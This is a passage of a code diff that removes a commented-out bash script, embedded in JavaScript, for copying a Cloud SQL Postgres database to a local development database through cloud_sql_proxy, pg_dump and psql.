const localDBName = matches[1];
|
|
56
|
-
|
|
57
|
-
const copyDBScript = `
|
|
58
|
-
set -e
|
|
59
|
-
credtmp=$(mktemp /tmp/cred.XXXXXX)
|
|
60
|
-
echo '${cloudsqlCredentials}' > $credtmp
|
|
61
|
-
echo "Opening connection..."
|
|
62
|
-
cloud_sql_proxy -instances ${instanceName} -credential_file $credtmp &> /dev/null &
|
|
63
|
-
PROXY_PID=$!
|
|
64
|
-
|
|
65
|
-
echo -n "Waiting for proxy"
|
|
66
|
-
until echo > /dev/tcp/localhost/${LOCAL_PORT}; do
|
|
67
|
-
sleep 0.2
|
|
68
|
-
echo -n "."
|
|
69
|
-
done 2>/dev/null
|
|
70
|
-
echo
|
|
71
|
-
|
|
72
|
-
dumptmp=$(mktemp /tmp/dump.XXXXXX)
|
|
73
|
-
|
|
74
|
-
echo "Dumping file to $dumptmp"
|
|
75
|
-
pg_dump --dbname=postgres://postgres:${POSTGRESQL_PASSWORD}@localhost:${LOCAL_PORT}/${componentName} --no-owner --no-privileges > $dumptmp
|
|
76
|
-
psql -q -c "drop database ${localDBName}" 1> /dev/null
|
|
77
|
-
psql -q -c "create database ${localDBName}" 1> /dev/null
|
|
78
|
-
echo "Restoring dump..."
|
|
79
|
-
psql -q ${localDBName} < $dumptmp 1> /dev/null
|
|
80
|
-
|
|
81
|
-
echo "Clean up..."
|
|
82
|
-
set +e
|
|
83
|
-
kill -9 $PROXY_PID
|
|
84
|
-
wait $PROXY_PID 2> /dev/null
|
|
85
|
-
rm $credtmp
|
|
86
|
-
rm $dumptmp
|
|
87
|
-
echo "\n🐱 Done!"
|
|
88
|
-
`;
|
|
89
|
-
|
|
90
|
-
await spawn(copyDBScript, [], { shell: "bash", stdio: "inherit" });
|
|
91
|
-
*/
|
|
92
|
-
});
|